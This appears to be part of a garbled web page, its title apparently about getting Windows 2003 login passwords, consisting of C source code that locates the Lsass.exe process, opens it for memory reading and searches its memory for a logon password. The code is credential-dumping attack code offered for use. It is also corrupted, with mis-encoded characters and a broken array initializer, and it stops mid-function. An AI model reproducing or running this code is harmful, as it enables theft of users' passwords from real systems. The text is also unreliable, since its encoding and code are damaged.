ÔÚwin 2003ÖÐÈý´ó·½·¨ÖúÄãµÃµ½µÇ½ÃÜÂë(4)

¡¡¡¡}

¡¡¡¡else

¡¡¡¡{

¡¡¡¡break;

¡¡¡¡}

¡¡¡¡}

¡¡¡¡return i + 7; // One Flag To Indicate We Find The Password

¡¡¡¡}

¡¡¡¡}

¡¡¡¡}

¡¡¡¡return -1; // Well£¬We Fail To Find The Password£¬And This Always Happens

¡¡¡¡}

¡¡¡¡// End Search

¡¡¡¡//------------------------------------------------------------------------------------

¡¡¡¡// Purpose: To Get The Lsass.exe PID

¡¡¡¡// Return Type: DWORD

¡¡¡¡// Parameters: None

¡¡¡¡//------------------------------------------------------------------------------------

¡¡¡¡DWORD GetLsassPID()

¡¡¡¡{

¡¡¡¡HANDLE hProcessSnap;

¡¡¡¡HANDLE hProcess = NULL;

¡¡¡¡PROCESSENTRY32 pe32;

¡¡¡¡DWORD PID = 0;

¡¡¡¡hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS£¬ 0);

¡¡¡¡if( hProcessSnap == INVALID_HANDLE_VALUE )

¡¡¡¡{

¡¡¡¡printf("Fail To Create Snap Shot\n");

¡¡¡¡return 0;

¡¡¡¡}

¡¡¡¡pe32.dwSize = sizeof(PROCESSENTRY32);

¡¡¡¡if( !Process32First(hProcessSnap£¬ &pe32))

¡¡¡¡{

¡¡¡¡CloseHandle(hProcessSnap); // Must clean up the snapshot object!

¡¡¡¡return 0;

¡¡¡¡}

¡¡¡¡do

¡¡¡¡{

¡¡¡¡if (strcmpi(pe32.szExeFile£¬"Lsass.EXE") == 0)

¡¡¡¡{

¡¡¡¡PID = pe32.th32ProcessID;

¡¡¡¡break;

¡¡¡¡}

¡¡¡¡}while(Process32Next( hProcessSnap£¬ &pe32));

¡¡¡¡CloseHandle( hProcessSnap);

¡¡¡¡return PID;

¡¡¡¡}

¡¡¡¡// End GetLsassPID()

¡¡¡¡//------------------------------------------------------------------------------------

¡¡¡¡// Purpose: To Find The Password

¡¡¡¡// Return Type: BOOLEAN

¡¡¡¡// Parameters:

¡¡¡¡// In: DWORD PID -> The Lsass.exe's PID

¡¡¡¡//------------------------------------------------------------------------------------

¡¡¡¡BOOL FindPassword(DWORD PID)

¡¡¡¡{

¡¡¡¡HANDLE hProcess = NULL;

¡¡¡¡char Buffer[5 * 1024] = ;

¡¡¡¡DWORD ByteGet = 0;

¡¡¡¡int Found = -1;

¡¡¡¡hProcess = OpenProcess(PROCESS_VM_READ£¬FALSE£¬PID); // Open Process

¡¡¡¡if (hProcess == NULL)

¡¡¡¡{

¡¡¡¡printf("Fail To Open Process\n");

¡¡¡¡return FALSE;

¡¡¡¡}

¡¡¡¡if (!ReadProcessMemory(hProcess£¬(PVOID)BaseAddress£¬Buffer£¬5 * 1024£¬&ByteGet)) // Read The Memory From Lsass.exe

¡¡¡¡{

¡¡¡¡printf("Fail To Read Memory\n");